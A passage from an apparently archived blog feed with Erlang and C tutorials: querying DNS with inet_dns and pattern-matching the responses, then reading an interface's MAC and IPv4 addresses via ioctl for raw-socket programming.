class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;38&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                           tm &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;undefined&lt;/span&gt;,bm &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[]&lt;/span&gt;,func &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;false&lt;/span&gt;}&lt;span class="Statement"&gt;]&lt;/span&gt;,&lt;br /&gt;         nslist &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[]&lt;/span&gt;,arlist &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[]&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The records are displayed as tuples. You can pretty print the records by using the shell &lt;em&gt;rr()&lt;/em&gt; command to include the header file wherever it is on your system.&lt;br /&gt;&lt;br /&gt;The query returned the same packet we sent with some changes to the header:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The response flag (qr) is set to true&lt;br /&gt;&lt;li&gt;The recursion available flag (ra) is also set to true&lt;br /&gt;&lt;/ul&gt;The answer to our query is a list bound to the anlist record atom. The #dns_rr{} record looks like: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;-record&lt;/span&gt;(dns_rr,&lt;br /&gt;    {&lt;br /&gt;     domain &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;&amp;quot;&amp;quot;&lt;/span&gt;,   &lt;span class="Comment"&gt;%% resource domain&lt;/span&gt;&lt;br /&gt;     type &lt;span class="Statement"&gt;=&lt;/span&gt; any,    &lt;span class="Comment"&gt;%% resource type&lt;/span&gt;&lt;br /&gt;     class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;in&lt;/span&gt;,    &lt;span class="Comment"&gt;%% reource class&lt;/span&gt;&lt;br /&gt;     cnt &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% access count&lt;/span&gt;&lt;br /&gt;     ttl &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% time to live&lt;/span&gt;&lt;br /&gt;     data &lt;span class="Statement"&gt;=&lt;/span&gt; [],     &lt;span class="Comment"&gt;%% raw data&lt;/span&gt;&lt;br /&gt;      &lt;span class="Comment"&gt;%%  &lt;/span&gt;&lt;br /&gt;     tm,            &lt;span class="Comment"&gt;%% creation time&lt;/span&gt;&lt;br /&gt;         bm &lt;span class="Statement"&gt;=&lt;/span&gt; [],       &lt;span class="Comment"&gt;%% Bitmap storing domain character case information.&lt;/span&gt;&lt;br /&gt;         func &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;false&lt;/span&gt;   &lt;span class="Comment"&gt;%% Optional function calculating the data field.&lt;/span&gt;&lt;br /&gt;    })&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The data field is interesting. Although it's initialized as an empty list, the data structure bound to it depends on the DNS record type. For example, from the ones I remember: &lt;ul&gt;&lt;li&gt;A: tuple representing the IP address&lt;br /&gt;&lt;li&gt;TXT: a list of strings&lt;br /&gt;&lt;li&gt;NULL: a binary&lt;br /&gt;&lt;li&gt;CNAME: a domain name string appropriately "labelled" (canonicalized  by the "."'s), e.g., "ghs.google.com". inet_dns takes care of breaking the domain name into the appropriate, compressed domain name -- a weird form where the "."'s are replaced by nulls and each component is prefaced by a length or a pointer redirecting to another field (hence the compression).&lt;br /&gt;&lt;/ul&gt;&lt;h1&gt;Pattern Matching&lt;/h1&gt;The cool thing is that, since the DNS records are nested records, its very easy to pattern match on the results. Modifying the example above: &lt;pre class="Code"&gt;&lt;span class="Type"&gt;-module&lt;/span&gt;(dns1)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-compile&lt;/span&gt;(export_all)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;-include_lib&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;kernel/src/inet_dns.hrl&amp;quot;&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;q(Type, Domain, NS) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    Query &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;inet_dns:encode&lt;/span&gt;(&lt;br /&gt;        #dns_rec{&lt;br /&gt;            header &lt;span class="Statement"&gt;=&lt;/span&gt; #dns_header{&lt;br /&gt;                id &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;crypto:rand_uniform&lt;/span&gt;(&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;FFFF&lt;/span&gt;),&lt;br /&gt;                opcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Type"&gt;'query'&lt;/span&gt;,&lt;br /&gt;                rd &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;&lt;br /&gt;            },&lt;br /&gt;            qdlist &lt;span class="Statement"&gt;=&lt;/span&gt; [#dns_query{&lt;br /&gt;                    domain &lt;span class="Statement"&gt;=&lt;/span&gt; Domain,&lt;br /&gt;                    type &lt;span class="Statement"&gt;=&lt;/span&gt; Type,&lt;br /&gt;                    class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;in&lt;/span&gt;&lt;br /&gt;                }]&lt;br /&gt;        }),&lt;br /&gt;    {ok, Socket} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_udp:open&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [&lt;span class="Identifier"&gt;binary&lt;/span&gt;, {active, &lt;span class="Statement"&gt;true&lt;/span&gt;}]),&lt;br /&gt;    &lt;span class="Identifier"&gt;gen_udp:send&lt;/span&gt;(Socket, NS, &lt;span class="Constant"&gt;53&lt;/span&gt;, Query),&lt;br /&gt;    loop(Socket, Type, Domain, NS)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;loop(Socket, Type, Domain, NS) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;receive&lt;/span&gt;&lt;br /&gt;        {udp, Socket, NS, _, Packet} &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;            {ok, Response} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;inet_dns:decode&lt;/span&gt;(Packet),&lt;br /&gt;            match(Type, Domain, Response)&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;match(a, Domain, #dns_rec{&lt;br /&gt;        header &lt;span class="Statement"&gt;=&lt;/span&gt; #dns_header{&lt;br /&gt;            qr &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;,&lt;br /&gt;            opcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Type"&gt;'query'&lt;/span&gt;&lt;br /&gt;        },&lt;br /&gt;        qdlist &lt;span class="Statement"&gt;=&lt;/span&gt; [#dns_query{&lt;br /&gt;                domain &lt;span class="Statement"&gt;=&lt;/span&gt; Domain,&lt;br /&gt;                type &lt;span class="Statement"&gt;=&lt;/span&gt; a,&lt;br /&gt;                class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;in&lt;/span&gt;&lt;br /&gt;            }],&lt;br /&gt;        anlist &lt;span class="Statement"&gt;=&lt;/span&gt; [#dns_rr{&lt;br /&gt;                domain &lt;span class="Statement"&gt;=&lt;/span&gt; Domain,&lt;br /&gt;                type &lt;span class="Statement"&gt;=&lt;/span&gt; a,&lt;br /&gt;                class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;in&lt;/span&gt;,&lt;br /&gt;                data &lt;span class="Statement"&gt;=&lt;/span&gt; {IP1, IP2, IP3, IP4}&lt;br /&gt;            }|_]}) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {a, Domain, {IP1,IP2,IP3,IP4}};&lt;br /&gt;match(cname, Domain, #dns_rec{&lt;br /&gt;        header &lt;span class="Statement"&gt;=&lt;/span&gt; #dns_header{&lt;br /&gt;            qr &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;,&lt;br /&gt;            opcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Type"&gt;'query'&lt;/span&gt;&lt;br /&gt;        },&lt;br /&gt;        qdlist &lt;span class="Statement"&gt;=&lt;/span&gt; [#dns_query{&lt;br /&gt;                domain &lt;span class="Statement"&gt;=&lt;/span&gt; Domain,&lt;br /&gt;                type &lt;span class="Statement"&gt;=&lt;/span&gt; cname,&lt;br /&gt;                class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;in&lt;/span&gt;&lt;br /&gt;            }],&lt;br /&gt;        anlist &lt;span class="Statement"&gt;=&lt;/span&gt; [#dns_rr{&lt;br /&gt;                domain &lt;span class="Statement"&gt;=&lt;/span&gt; Domain,&lt;br /&gt;                type &lt;span class="Statement"&gt;=&lt;/span&gt; cname,&lt;br /&gt;                class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;in&lt;/span&gt;,&lt;br /&gt;                data &lt;span class="Statement"&gt;=&lt;/span&gt; Data&lt;br /&gt;            }|_]}) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {cname, Domain, Data}&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And the results:&lt;br /&gt;&lt;br /&gt;$ erl&lt;br /&gt;Erlang R14A (erts-5.8) [source] [smp:2:2] [rq:2] [async-threads:0] [hipe] [kernel-poll:false]&lt;br /&gt;&lt;br /&gt;Eshell V5.8  (abort with ^G)&lt;br /&gt;1&gt; dns1:q(cname, "blog.listincomprehension.com", {8,8,8,8}).&lt;br /&gt;{cname,"blog.listincomprehension.com","ghs.google.com"}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-7050324516211530741?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/7050324516211530741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/07/dns-programming-with-erlang.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/7050324516211530741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/7050324516211530741'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/07/dns-programming-with-erlang.html' title='DNS Programming with Erlang'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-9219879206929262428</id><published>2010-07-01T11:20:00.019-04:00</published><updated>2011-01-04T15:25:53.639-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><title type='text'>Fun with Raw Sockets in Erlang: Finding MAC and IP Addresses</title><content type='html'>&lt;em&gt;(See the update for versions of some of these functions in standard Erlang).&lt;/em&gt;&lt;br /&gt;&lt;p/&gt;When working with PF_PACKET raw sockets, the caller needs to provide the source/destination MAC and IP addresses.&lt;br /&gt;Playing with a &lt;a href="http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-spoofing.html"&gt;spoofing DNS proxy&lt;/a&gt;, I got tired of hardcoding the addresses, then WTF'ing every time I switched networks. So I added some functions to &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; to lookup the system network interface and its MAC and IP addresses.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;Retrieving the MAC Address of an Interface&lt;/h1&gt;&lt;br /&gt;Under Linux, getting the MAC address of an interface involves calling an ioctl() with the request set to SIOCGIFHWADDR and passing in a &lt;em&gt;struct ifreq&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Here is the code to do so in C:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;err.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/ioctl.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;net/if.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;netinet/ether.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;int&lt;/span&gt;&lt;br /&gt;main(&lt;span class="Type"&gt;int&lt;/span&gt; argc, &lt;span class="Type"&gt;char&lt;/span&gt; *argv[])&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; s = -&lt;span class="Constant"&gt;1&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt; ifreq ifr = {&lt;span class="Constant"&gt;0&lt;/span&gt;};&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; *dev = &lt;span class="Constant"&gt;NULL&lt;/span&gt;;&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr *sa;&lt;br /&gt;&lt;br /&gt;    dev = strdup((argc == &lt;span class="Constant"&gt;2&lt;/span&gt; ? argv[&lt;span class="Constant"&gt;1&lt;/span&gt;] : &lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (dev == &lt;span class="Constant"&gt;NULL&lt;/span&gt;)&lt;br /&gt;        err(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;strdup&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; ( (s = socket(AF_INET, SOCK_DGRAM, &lt;span class="Constant"&gt;0&lt;/span&gt;)) &amp;lt; &lt;span class="Constant"&gt;0&lt;/span&gt;)&lt;br /&gt;        err(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;socket&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    (&lt;span class="Type"&gt;void&lt;/span&gt;)memcpy(ifr.ifr_name, dev, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(ifr.ifr_name)-&lt;span class="Constant"&gt;1&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (ioctl(s, SIOCGIFHWADDR, &amp;amp;ifr) &amp;lt; &lt;span class="Constant"&gt;0&lt;/span&gt;)&lt;br /&gt;        err(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;ioctl&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    sa = (&lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr *)&amp;amp;ifr.ifr_hwaddr;&lt;br /&gt;&lt;br /&gt;    (&lt;span class="Type"&gt;void&lt;/span&gt;)printf(&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Constant"&gt;:&lt;/span&gt;&lt;span class="Special"&gt;%02x&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;            sa-&amp;gt;sa_data[&lt;span class="Constant"&gt;0&lt;/span&gt;], sa-&amp;gt;sa_data[&lt;span class="Constant"&gt;1&lt;/span&gt;], sa-&amp;gt;sa_data[&lt;span class="Constant"&gt;2&lt;/span&gt;], sa-&amp;gt;sa_data[&lt;span class="Constant"&gt;3&lt;/span&gt;],&lt;br /&gt;            sa-&amp;gt;sa_data[&lt;span class="Constant"&gt;4&lt;/span&gt;], sa-&amp;gt;sa_data[&lt;span class="Constant"&gt;5&lt;/span&gt;]);&lt;br /&gt;&lt;br /&gt;    free(dev);&lt;br /&gt;&lt;br /&gt;    exit (&lt;span class="Constant"&gt;EXIT_SUCCESS&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The equivalent in Erlang uses procket:ioctl/2&lt;br /&gt;&lt;pre class="Code"&gt;macaddress(Socket, Dev) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;_Ifname:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes,&lt;br /&gt;        &lt;span class="Special"&gt;?PF_INET:&lt;/span&gt;&lt;span class="Constant"&gt;16&lt;/span&gt;,                       &lt;span class="Comment"&gt;% family&lt;/span&gt;&lt;br /&gt;        SM1,SM2,SM3,SM4,SM5,SM6,    &lt;span class="Comment"&gt;% mac address&lt;/span&gt;&lt;br /&gt;        _&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:ioctl&lt;/span&gt;(Socket,&lt;br /&gt;        ?SIOCGIFHWADDR,&lt;br /&gt;        &lt;span class="Identifier"&gt;list_to_binary&lt;/span&gt;([&lt;br /&gt;                Dev, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;((&lt;span class="Constant"&gt;15&lt;/span&gt;&lt;span class="Statement"&gt;*&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;) &lt;span class="Statement"&gt;-&lt;/span&gt; (&lt;span class="Identifier"&gt;length&lt;/span&gt;(Dev)&lt;span class="Statement"&gt;*&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;)), &lt;span class="Identifier"&gt;0:8&lt;/span&gt;, &lt;span class="Identifier"&gt;0:128&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;            ])),&lt;br /&gt;    {SM1,SM2,SM3,SM4,SM5,SM6}&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Results may differ depending on the endian-ness of your platform.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;Retrieving the IP Address of an Interface&lt;/h1&gt;&lt;br /&gt;The IP address of an interface can be obtained by another ioctl() with a request value of SIOCGIFADDR. In C:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;err.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/ioctl.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;net/if.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;int&lt;/span&gt;&lt;br /&gt;main(&lt;span class="Type"&gt;int&lt;/span&gt; argc, &lt;span class="Type"&gt;char&lt;/span&gt; *argv[])&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; s = -&lt;span class="Constant"&gt;1&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt; ifreq ifr = {&lt;span class="Constant"&gt;0&lt;/span&gt;};&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; *dev = &lt;span class="Constant"&gt;NULL&lt;/span&gt;;&lt;br /&gt;    &lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr_in *sa;&lt;br /&gt;&lt;br /&gt;    dev = strdup((argc == &lt;span class="Constant"&gt;2&lt;/span&gt; ? argv[&lt;span class="Constant"&gt;1&lt;/span&gt;] : &lt;span class="Constant"&gt;&amp;quot;eth0&amp;quot;&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (dev == &lt;span class="Constant"&gt;NULL&lt;/span&gt;)&lt;br /&gt;        err(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;strdup&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; ( (s = socket(AF_INET, SOCK_DGRAM, &lt;span class="Constant"&gt;0&lt;/span&gt;)) &amp;lt; &lt;span class="Constant"&gt;0&lt;/span&gt;)&lt;br /&gt;        err(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;socket&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    (&lt;span class="Type"&gt;void&lt;/span&gt;)memcpy(ifr.ifr_name, dev, &lt;span class="Statement"&gt;sizeof&lt;/span&gt;(ifr.ifr_name)-&lt;span class="Constant"&gt;1&lt;/span&gt;);&lt;br /&gt;    ifr.ifr_addr.sa_family = PF_INET;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (ioctl(s, SIOCGIFADDR, &amp;amp;ifr) &amp;lt; &lt;span class="Constant"&gt;0&lt;/span&gt;)&lt;br /&gt;        err(&lt;span class="Constant"&gt;EXIT_FAILURE&lt;/span&gt;, &lt;span class="Constant"&gt;&amp;quot;ioctl&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;    sa = (&lt;span class="Type"&gt;struct&lt;/span&gt; sockaddr_in *)&amp;amp;ifr.ifr_hwaddr;&lt;br /&gt;&lt;br /&gt;    (&lt;span class="Type"&gt;void&lt;/span&gt;)printf(&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;%s&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, inet_ntoa(sa-&amp;gt;sin_addr));&lt;br /&gt;&lt;br /&gt;    free(dev);&lt;br /&gt;&lt;br /&gt;    exit (&lt;span class="Constant"&gt;EXIT_SUCCESS&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And the Erlang version:&lt;br /&gt;&lt;pre class="Code"&gt;ipv4address(Socket, Dev) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    {ok, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;_Ifname:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;bytes,&lt;br /&gt;        ?&lt;span class="Identifier"&gt;PF_INET:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;native, &lt;span class="Comment"&gt;% sin_family&lt;/span&gt;&lt;br /&gt;        &lt;span class="Identifier"&gt;_:16&lt;/span&gt;,               &lt;span class="Comment"&gt;% sin_port &lt;/span&gt;&lt;br /&gt;        SA1,SA2,SA3,SA4,    &lt;span class="Comment"&gt;% sin_addr&lt;/span&gt;&lt;br /&gt;        _&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Identifier"&gt;binary&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;procket:ioctl&lt;/span&gt;(Socket,&lt;br /&gt;            ?SIOCGIFADDR,&lt;br /&gt;            &lt;span class="Identifier"&gt;list_to_binary&lt;/span&gt;([&lt;br /&gt;                Dev, &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;((&lt;span class="Constant"&gt;15&lt;/span&gt;&lt;span class="Statement"&gt;*&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;) &lt;span class="Statement"&gt;-&lt;/span&gt; (&lt;span class="Identifier"&gt;length&lt;/span&gt;(Dev)&lt;span class="Statement"&gt;*&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;)), &lt;span class="Identifier"&gt;0:8&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;,&lt;br /&gt;                &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;?&lt;span class="Identifier"&gt;PF_INET:16&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;native,       &lt;span class="Comment"&gt;% family&lt;/span&gt;&lt;br /&gt;                &lt;span class="Identifier"&gt;0:112&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;            ])),&lt;br /&gt;    {SA1,SA2,SA3,SA4}&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;Looking Up an 